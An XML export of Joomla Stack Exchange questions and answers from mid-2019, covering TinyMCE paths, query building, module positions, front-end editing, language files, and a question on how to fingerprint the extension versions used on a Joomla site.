  <row Id="24859" PostTypeId="1" CreationDate="2019-06-25T15:49:46.460" Score="0" ViewCount="1055" Body="&lt;p&gt;I know I can change the paths of tinyMCE to add a subdomain, see here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://stackoverflow.com/questions/56577520/change-default-image-path-in-tinymce&quot;&gt;https://stackoverflow.com/questions/56577520/change-default-image-path-in-tinymce&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Only problem now is where can I find this init from the TinyMCE? I tried to find it but I cannot seem to find it. I'm working normally with JCE but I have to make sure the new image path works with TinyMCE, so I can hopefully change it for JCE as well, as it seems to be based on TinyMCE.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If someone could help me out, that would be awesome!&lt;/p&gt;&#xA;" OwnerUserId="5642" LastActivityDate="2024-03-01T18:00:55.120" Title="Change the standard path of images in TinyMCE, where can I find the init of this editor?" Tags="|tinymce|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24860" PostTypeId="2" ParentId="24859" CreationDate="2019-06-26T06:42:51.763" Score="0" Body="&lt;p&gt;Upload path can be configured in Editor - TinyMCE plugin configuration by setting &lt;code&gt;Images Directory&lt;/code&gt; option. Upload path in TinyMCE is relative to &lt;code&gt;Path to Images Folder&lt;/code&gt; option set in Media Manager.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2019-06-26T06:42:51.763" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24861" PostTypeId="1" AcceptedAnswerId="24867" CreationDate="2019-06-26T12:28:58.017" Score="1" ViewCount="511" Body="&lt;p&gt;I want to list only the users with a &lt;code&gt;group_id&lt;/code&gt; value of 10.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why doesn't the following query work?   &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db    = JFactory::getDbo();&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;$query-&amp;gt;select('a.id, a.name, a.username, b.group_id')           &#xA;      -&amp;gt;from ('#__users a')    &#xA;      -&amp;gt;join ('INNER', '#__user_usergroup_map b')&#xA;      -&amp;gt;where('b.group_id=10')  &#xA;      -&amp;gt;where('a.block=0')        &#xA;      -&amp;gt;order($order); &#xA;&#xA;$db-&amp;gt;setQuery($query);&#xA;return $db-&amp;gt;loadObjectList();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="9425" LastEditorUserId="12352" LastEditDate="2019-06-26T22:55:08.013" LastActivityDate="2019-06-28T11:35:39.050" Title="How to query for users from a specific user group?" Tags="|joomla-3.x|php|joomla-3.4|mysql|user-groups|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="24862" PostTypeId="1" AcceptedAnswerId="24868" CreationDate="2019-06-26T15:20:16.543" Score="1" ViewCount="19" Body="&lt;p&gt;I am working on a Component that will add a set of administrative functionality, which I am fairly confident in, but part of its behaviour will rely on code being triggered by events, which seems to be very much the role of a Plug-In. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the correct way to structure this if I want the whole lot to be easy to install and maintain? Is there a way to implement Plugin-like Observers in my Component or should I be building a separate Component and Plugin and then chaining the installers somehow? In the latter case how should I manage the code that they both share and ensure that if one is installed the other is too? &lt;/p&gt;&#xA;" OwnerUserId="9900" LastActivityDate="2019-06-27T08:54:26.013" Title="What is the best approach to implementing a component that responds to events?" Tags="|plugin|extensions|custom-component|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24864" PostTypeId="2" ParentId="20588" CreationDate="2019-06-26T18:22:47.363" Score="0" Body="&lt;p&gt;If you want loadposition to load only once in the Blog view then you need to do an &lt;code&gt;if&lt;/code&gt; statement in &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;components/com_content/views/category/tmpl/blog.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the line where it counts the articles&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/staging/components/com_content/views/category/tmpl/blog.php#L72&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/joomla/joomla-cms/blob/staging/components/com_content/views/category/tmpl/blog.php#L72&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $leadingcount = 0; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;0 is the first one.  So you could do a line before this line: &lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/staging/components/com_content/views/category/tmpl/blog.php#L83&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/joomla/joomla-cms/blob/staging/components/com_content/views/category/tmpl/blog.php#L83&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $leadingcount++; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Saying&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA; if ($leadingcount == 0) {&#xA; // do stuff e.g.&#xA; {loadposition myModulePosition}&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Because you tell it to only do it if leading count == 0 it will only do it the first time.  However, if you also need this on your single article, you may be better off to check the article view first.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can do so by doing this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;if ($view == 'article') {&#xA; // do stuff e.g.&#xA; {loadposition myModulePosition}&#xA;} ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You might even decide you prefer a different module position for each case. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know if that will work out of the box, you might need to do &lt;code&gt;content prepare&lt;/code&gt; but since the other &lt;code&gt;{loadposition xxxx}&lt;/code&gt; are working I doubt it.  If you do need to you can find out how to do so on my other answer &lt;a href=&quot;https://joomla.stackexchange.com/questions/23970/is-it-possible-to-add-a-new-module-position-within-a-module&quot;&gt;Is it possible to add a new module position within a module?&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="7164" LastActivityDate="2019-06-26T18:22:47.363" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24865" PostTypeId="2" ParentId="23970" CreationDate="2019-06-26T19:42:29.773" Score="2" Body="&lt;p&gt;Although using content plugin works, there is no need for it in PHP code. Instead you can use the document renderer directly:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;use Joomla\CMS\Factory;&#xA;&#xA;echo Factory::getApplication()-&amp;gt;getDocument()-&amp;gt;loadRenderer('modules')-&amp;gt;render($position);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastEditorUserId="12652" LastEditDate="2019-06-26T20:13:37.417" LastActivityDate="2019-06-26T20:13:37.417" CommentCount="19" ContentLicense="CC BY-SA 4.0" />
  <row Id="24866" PostTypeId="1" CreationDate="2019-06-26T20:45:34.347" Score="1" ViewCount="38" Body="&lt;p&gt;One of our clients would like to have a search icon in their Main menu, which when clicked causes a search bar to appear at the top of the website's body. An example of this behaviour is at &lt;a href=&quot;https://www.bioped.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.bioped.com/&lt;/a&gt; . We have looked for Joomla extensions that do this for us, but haven't managed to find anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How should something like this be accomplished in the Joomla framework? I feel like this will involve writing a custom search module somehow. I have written modules and plugins, but I haven't written any yet that needs to access Joomla's built-in search functionality. Making the search bar appear seems like it should be relatively simple javascript (?), but it's not clear to me how to put the clickable search icon in the main menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be appreciated since I'm not sure where to start.&lt;/p&gt;&#xA;" OwnerUserId="13088" LastActivityDate="2019-06-26T20:45:34.347" Title="Make Search bar dynamically appear at top of body" Tags="|module|menu|custom-module|search|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24867" PostTypeId="2" ParentId="24861" CreationDate="2019-06-26T22:39:44.730" Score="1" Body="&lt;p&gt;Your question would be more complete if you stated why it doesn't &quot;work&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't see anything wrong with the WHERE clause declarations (because the default glue is &lt;code&gt;AND&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What does jump out at me is the fact that you are not expressing the columns which should be used to JOIN the two tables.  This will be written with the &lt;code&gt;ON&lt;/code&gt; keyword within the &lt;code&gt;join()&lt;/code&gt; method.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Based on &lt;a href=&quot;https://docs.joomla.org/Tables/user_usergroup_map&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Tables/user_usergroup_map&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd say you mean to join like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-&amp;gt;innerJoin(&quot;#__user_usergroup_map b ON a.id = b.user_id&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;More generally, when a query doesn't work as expected inside your Joomla environment, I recommend that you &lt;code&gt;$query-&amp;gt;dump()&lt;/code&gt;, transfer your query to phpMyAdmin and see what transpires.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are some of my related posts that may prove to be enlightening:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://joomla.stackexchange.com/a/23041/12352&quot;&gt;https://joomla.stackexchange.com/a/23041/12352&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://joomla.stackexchange.com/a/23175/12352&quot;&gt;https://joomla.stackexchange.com/a/23175/12352&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://joomla.stackexchange.com/a/22963/12352&quot;&gt;https://joomla.stackexchange.com/a/22963/12352&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://joomla.stackexchange.com/a/23745/12352&quot;&gt;https://joomla.stackexchange.com/a/23745/12352&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2019-06-26T22:51:43.630" LastActivityDate="2019-06-26T22:51:43.630" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24868" PostTypeId="2" ParentId="24862" CreationDate="2019-06-27T08:54:26.013" Score="2" Body="&lt;p&gt;I woudld suggest you could install the Component and the event triggered Plugins together as a Joomla Installation Package to ensure both are available.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/Package&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Package&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13306" LastActivityDate="2019-06-27T08:54:26.013" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24870" PostTypeId="1" AcceptedAnswerId="26268" CreationDate="2019-06-27T15:31:14.277" Score="1" ViewCount="185" Body="&lt;p&gt;Does anybody know of a way to automate the installation of language packs via the CLI, as opposed to using the Extensions -&gt; Language(s) menu in the administrator CMS?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am automating a site build script at present, but this is one of the gaps I have yet to fill.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have Googled for options, checked SO and this forum and not found any results. I have checked the &lt;code&gt;cli&lt;/code&gt; folder in the Joomla installation and found no supporting scripts for the purpose. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I presently use a third party tool found &lt;a href=&quot;https://stackoverflow.com/questions/41697091/how-to-install-joomla-extension-by-command&quot;&gt;here&lt;/a&gt; for installing other extensions, but the method for installing language packs via the CMS is different to other extensions and without digging into the guts of the Joomla code, I don't know if/where I can download a zip file of the language packs that I can use with the above mentioned tool. I'll do that if needs be, but I felt it worth asking the question here in case anybody else has already solved this.&lt;/p&gt;&#xA;" OwnerUserId="454" LastEditorUserId="454" LastEditDate="2019-06-27T20:29:07.260" LastActivityDate="2020-11-27T10:35:30.587" Title="Installing language from CLI" Tags="|language|cli|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="24872" PostTypeId="1" CreationDate="2019-06-28T12:34:32.360" Score="3" ViewCount="55" Body="&lt;p&gt;What would be the best way to have front-end edits open on a blank page? When I train a client to use front-end editing, they get confused when they have to scroll around to find the edit screen which always appears in the main content area. Couldn't we make this to always open so it ONLY displays the currently edited content? &#xA;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="13616" LastActivityDate="2019-06-29T11:09:47.760" Title="Front end module editing" Tags="|module-manager|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24873" PostTypeId="2" ParentId="24872" CreationDate="2019-06-28T16:30:03.090" Score="2" Body="&lt;p&gt;The simplest solution would be to create a &lt;a href=&quot;https://docs.joomla.org/How_to_override_the_output_from_the_Joomla!_core&quot; rel=&quot;nofollow noreferrer&quot;&gt;Template Override&lt;/a&gt; for the following file:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;components/com_config/view/modules/tmpl/default.php&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Once done, in the override, add the following PHP:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JFactory::getDocument()-&amp;gt;addScriptDeclaration(&quot;&#xA;    document.addEventListener('DOMContentLoaded', function() {&#xA;        var form = document.getElementById('modules-form');&#xA;        form.scrollIntoView({behavior: 'smooth'});&#xA;    });&#xA;&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will automatically scroll the user to the module edit form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A more advanced approach would be to create a system plugin that checks which view and controller are currently in use, and then execute the above code, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$jinput = JFactory::getApplication()-&amp;gt;input;&#xA;if ($jinput-&amp;gt;get('option') === 'com_config' &amp;amp;&amp;amp; $jinput-&amp;gt;get('controller') === 'config.display.modules')&#xA;{&#xA;    JFactory::getDocument()-&amp;gt;addScriptDeclaration(&quot;&#xA;        document.addEventListener('DOMContentLoaded', function() {&#xA;            var form = document.getElementById('modules-form');&#xA;            form.scrollIntoView({behavior: 'smooth'});&#xA;        });&#xA;    &quot;);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastActivityDate="2019-06-28T16:30:03.090" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24874" PostTypeId="2" ParentId="24109" CreationDate="2019-06-28T20:05:46.697" Score="3" Body="&lt;p&gt;If you want to customize the page, you can override the &quot;New Article&quot; view of the Content component (com_content). &#xA;Here is a article about overriding templates in Joomla, and it works for both backend and frontend:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/Understanding_Output_Overrides&quot; rel=&quot;nofollow noreferrer&quot;&gt;Understanding Output Overrides&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using the override feature, you dont need to install a new template for the entire backend, you change the layout of specific pages, and your changes will not be lost, even when the component is updated.&lt;/p&gt;&#xA;" OwnerUserId="13467" LastActivityDate="2019-06-28T20:05:46.697" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24875" PostTypeId="2" ParentId="24872" CreationDate="2019-06-29T07:28:53.373" Score="2" Body="&lt;p&gt;You can force joomla to use a different template (a simple template maybe) every time user trying to edit the module. I created a plugin for similiar purpose but for editing article in &lt;a href=&quot;https://joomla.stackexchange.com/questions/18441/different-templates-for-viewing-and-editing-articles/18445#18445&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can modified the plugin to support module editing by modifying the &lt;code&gt;editortemplate.php&lt;/code&gt; file at lines 23 - 26, from&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$view     = $app-&amp;gt;input-&amp;gt;get('view');&#xA;if ($view == 'form')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$view     = $app-&amp;gt;input-&amp;gt;get('view');&#xA;$controller     = $app-&amp;gt;input-&amp;gt;get('controller');&#xA;if (($view == 'form')||($controller== 'config.display.modules') )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2295" LastActivityDate="2019-06-29T07:28:53.373" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24877" PostTypeId="1" CreationDate="2019-06-29T16:29:10.323" Score="1" ViewCount="123" Body="&lt;p&gt;On my homepage, I am listing all my blog posts from a category. I don't want to show there any excerpt of articles neither full article instead of a title and featured image. How can I achieve that?&lt;/p&gt;&#xA;" OwnerUserId="13617" LastActivityDate="2019-08-14T19:55:37.630" Title="How to remove excerpts in joomla articles" Tags="|joomla-3.x|development|templates|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="24878" PostTypeId="2" ParentId="24877" CreationDate="2019-06-29T23:33:29.193" Score="1" Body="&lt;p&gt;It appears to me that you want to just show the title of the articles in your blog and not the Introduction Text or the Full text of the Article.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want the article list to appear in the body of your Homepage then you need to update the Menu Item Type for the Home page and select Articles-&gt;Category List.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to display a list of the articles off to the side of your home page then look at the various Modules available under the Extension menu for listing Articles. i.e. Most Recent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/Help39:Menus_Menu_Item_Article_Category_List&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Help39:Menus_Menu_Item_Article_Category_List&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13306" LastActivityDate="2019-06-29T23:33:29.193" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24879" PostTypeId="1" AcceptedAnswerId="24880" CreationDate="2019-06-30T19:43:45.313" Score="3" ViewCount="190" Body="&lt;p&gt;I saw the examples of how to do the odd even way, but I want the order to flow from one whole column to the next and not alternating left to right for each alphabetical item. Can this be done?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the query&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDbo();&#xA;$db-&amp;gt;setQuery('SELECT title, introtext &#xA;               FROM #__content&#xA;               WHERE introtext LIKE &quot;%Still Airing%&quot;&#xA;               ORDER BY title ASC');&#xA;$row = $db-&amp;gt;loadAssocList();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I tried dividing it by 2, but then how do you get each column to appear in html?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$half = count($row) / 2;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What I was thinking was I could use the variable to list that number of items in each column (or table tds) , but don't know the syntax or if I'm doing it right. Like list $half items and then the rest in the next column.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The introtext is just a filter, I only want the titles displayed.&lt;/p&gt;&#xA;" OwnerUserId="13028" LastEditorUserId="13028" LastEditDate="2019-07-01T00:35:48.880" LastActivityDate="2019-07-02T10:43:55.720" Title="How to separate database results into 2 columns?" Tags="|php|database|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24880" PostTypeId="2" ParentId="24879" CreationDate="2019-06-30T21:12:20.733" Score="4" Body="&lt;p&gt;Using &lt;a href=&quot;https://www.php.net/manual/en/function.array-chunk.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;array_chunk()&lt;/a&gt; with the row count cut in half then rounded-up will ensure that the second column always has equal or one less row than the first column.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;HTML tables should only be used to display &quot;tabular&quot; data.  Since you are building two non-tabular lists, it would be more appropriate to employ other tags (several different tags may be appropriate).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Demo (copy-paste my snippet into phptester.net to see the rich-text result)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// $resultset = $db-&amp;gt;loadAssocList();  ...I am supplying my own sample data&#xA;$resultset = [&#xA;    ['title' =&amp;gt; 'A', 'introtext' =&amp;gt; 'A intro'],&#xA;    ['title' =&amp;gt; 'B', 'introtext' =&amp;gt; 'B intro'],&#xA;    ['title' =&amp;gt; 'C', 'introtext' =&amp;gt; 'C intro'],&#xA;    ['title' =&amp;gt; 'D', 'introtext' =&amp;gt; 'D intro'],&#xA;    ['title' =&amp;gt; 'E', 'introtext' =&amp;gt; 'E intro']&#xA;];&#xA;&#xA;$halves = array_chunk($resultset, ceil(count($resultset) / 2));&#xA;&#xA;foreach ($halves as $half) {&#xA;    echo '&amp;lt;div style=&quot;display: inline-block; vertical-align: top; border: solid 1px black; padding: 2px;&quot;&amp;gt;';&#xA;        foreach ($half as $row) {&#xA;            echo '&amp;lt;div style=&quot;border: 1px solid blue; padding: 2px;&quot;&amp;gt;';&#xA;                echo '&amp;lt;p style=&quot;background-color: green;&quot;&amp;gt;' , $row['title'] , '&amp;lt;/p&amp;gt;';&#xA;                echo '&amp;lt;p style=&quot;background-color: yellow;&quot;&amp;gt;' , $row['introtext'] , '&amp;lt;/p&amp;gt;';&#xA;            echo '&amp;lt;/div&amp;gt;';&#xA;        }&#xA;    echo '&amp;lt;/div&amp;gt;';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Output:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/xetwJ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/xetwJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;After a bit of back and forth in the comments, here is the direct approach to output only the &lt;code&gt;title&lt;/code&gt; values as two columns in the desired arrangement:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDbo();&#xA;$query = $db-&amp;gt;getQuery(true)&#xA;            -&amp;gt;select(&quot;title&quot;)&#xA;            -&amp;gt;from(&quot;#__content&quot;)&#xA;            -&amp;gt;where(&quot;introtext LIKE '%Still Airing%'&quot;)&#xA;            -&amp;gt;order(&quot;title&quot;);&#xA;// echo $query-&amp;gt;dump();  // uncomment if you want to see the rendered query&#xA;$db-&amp;gt;setQuery($query);&#xA;$resultset = $db-&amp;gt;loadColumn();&#xA;&#xA;$halves = array_chunk($resultset, ceil(count($resultset) / 2));&#xA;&#xA;foreach ($halves as $half) {&#xA;    echo '&amp;lt;div style=&quot;display: inline-block; vertical-align: top; border: solid 1px black; padding: 2px;&quot;&amp;gt;';&#xA;        echo '&amp;lt;div&amp;gt;' , implode('&amp;lt;/div&amp;gt;&amp;lt;div&amp;gt;', $half) , '&amp;lt;/div&amp;gt;';&#xA;    echo '&amp;lt;/div&amp;gt;';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note, by using Joomla's query building methods, it is easier to diagnose problems by printing &lt;code&gt;$query-&amp;gt;dump()&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2019-07-02T10:43:55.720" LastActivityDate="2019-07-02T10:43:55.720" CommentCount="12" ContentLicense="CC BY-SA 4.0" />
  <row Id="24881" PostTypeId="1" CreationDate="2019-07-03T15:30:29.760" Score="1" ViewCount="53" Body="&lt;p&gt;Nearly every example I've seen, both in &lt;a href=&quot;https://docs.joomla.org/Loading_extra_language_files&quot; rel=&quot;nofollow noreferrer&quot;&gt;documentation&lt;/a&gt; and code examples, show setting the &lt;code&gt;$reload&lt;/code&gt; parameter to &lt;code&gt;\Joomla\CMS\Language\Language-&amp;gt;load()&lt;/code&gt; method as &lt;code&gt;true&lt;/code&gt; (e.g. forcing reload of the language file). Anyone have an insight into why this is the normal practice? It seems to me it's an expensive decision if the file's already loaded.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm kind of going crazy in a component I'm writing with how Joomla! handles language &lt;code&gt;.ini&lt;/code&gt; files. PHP 7+'s &lt;code&gt;opcache&lt;/code&gt; will not cache non-PHP files. I'd prefer to break all of my language files up into small files: one for the core component strings, one for each view, one for exceptions, and the like. But the overhead of all those files reads is insane.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My solution is to monkey-patch the &lt;code&gt;Language&lt;/code&gt; object set by &lt;code&gt;Factory&lt;/code&gt; using reflection in a plugin's &lt;code&gt;onBeforeInitialise&lt;/code&gt; method, so that it handles both PHP and &lt;code&gt;.ini&lt;/code&gt; translation files. The only translation file loaded by that point is &lt;code&gt;en-GB.lib_joomla.ini&lt;/code&gt;, so I'm truncating that file in a plugin catching the installer update event after transforming it to a different PHP file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm similarly using an event in a plugin to catch all extension installs and updates, and transform their language files to PHP in the template language override folder. The speed-up is huge for the complex site I'm working on. (I understand well issues with overriding core, it's not a plugin I'll release on JED).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I haven't looked to see if there's any plans for Joomla! v4 to change how the translation system works.&lt;/p&gt;&#xA;" OwnerUserId="12558" LastEditorUserId="12558" LastEditDate="2019-07-03T15:37:07.523" LastActivityDate="2019-07-03T15:37:07.523" Title="Why do examples show reload=true for loading language files?" Tags="|language|translation|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24882" PostTypeId="1" AcceptedAnswerId="24887" CreationDate="2019-07-04T14:46:30.830" Score="5" ViewCount="1824" Body="&lt;p&gt;First of all, I would like to check myself:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;An extension is an aggregate of modules, plugins and components, right?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If that is right, then modules, plugins and components have the same versions. Is this also true? &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The problem is: As part of security research that I am conducting, I need to find out the versions of the extensions used on a (any) given Joomla site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In simple cases, the version is already written like here:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JWallpapers - A lightweight yet powerful image gallery component with community building capabilities&#xA; * &#xA; * @version 2.2.2 $Id: default.css 558 2010-12-16 12:29:41Z amazeika $&#xA; * @package JWallpapers&#xA; * @copyright Copyright (C) 2009 Arunas Mazeika, http://www.wextend.com. All rights reserved&#xA; * @author Arunas Mazeika&#xA; * @license GNU General Public License v2+ (GNU GPL v2+). See license.php&#xA; * &#xA; */&#xA;#picture_container,#picture_right_content,#thumbs_right_section,#thumbs_left_section,#frontend_tagging_section,#pic_tags_section&#xA;    {&#xA;    float: left;&#xA;    border: none !important;&#xA;}&#xA;&#xA;.jw_category_title {&#xA;    float: left;&#xA;    border: none !important;&#xA;} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But how can I find out the version of an extension if there is no such record?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also looked &lt;a href=&quot;https://joomla.stackexchange.com/a/13761/13622&quot;&gt;here&lt;/a&gt; but the answerer used a php-script. Is it possible for a usual user to run such a script?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there other ways to find out extension versions on Joomla sites?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;Disclaimer:&lt;/em&gt;&lt;/strong&gt; This is purely to research any possible security vulnerabilities within Joomla&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UDP_1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using a OWASP-ZAP to get the site's tree , I mean I get every single file in every single directory. Like this :&lt;a href=&quot;https://i.stack.imgur.com/h0uwV.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/h0uwV.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So could any module, plugin or component leave a mark somewhere else(I mean not only in ,for example, components directory)? &lt;/p&gt;&#xA;" OwnerUserId="13622" LastEditorUserId="13622" LastEditDate="2019-07-05T16:31:57.013" LastActivityDate="2019-07-05T16:31:57.013" Title="How to find the version of extensions used on a Joomla website without access to the backend?" Tags="|joomla-3.x|extensions|security|versions|design-patterns|" AnswerCount="5" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
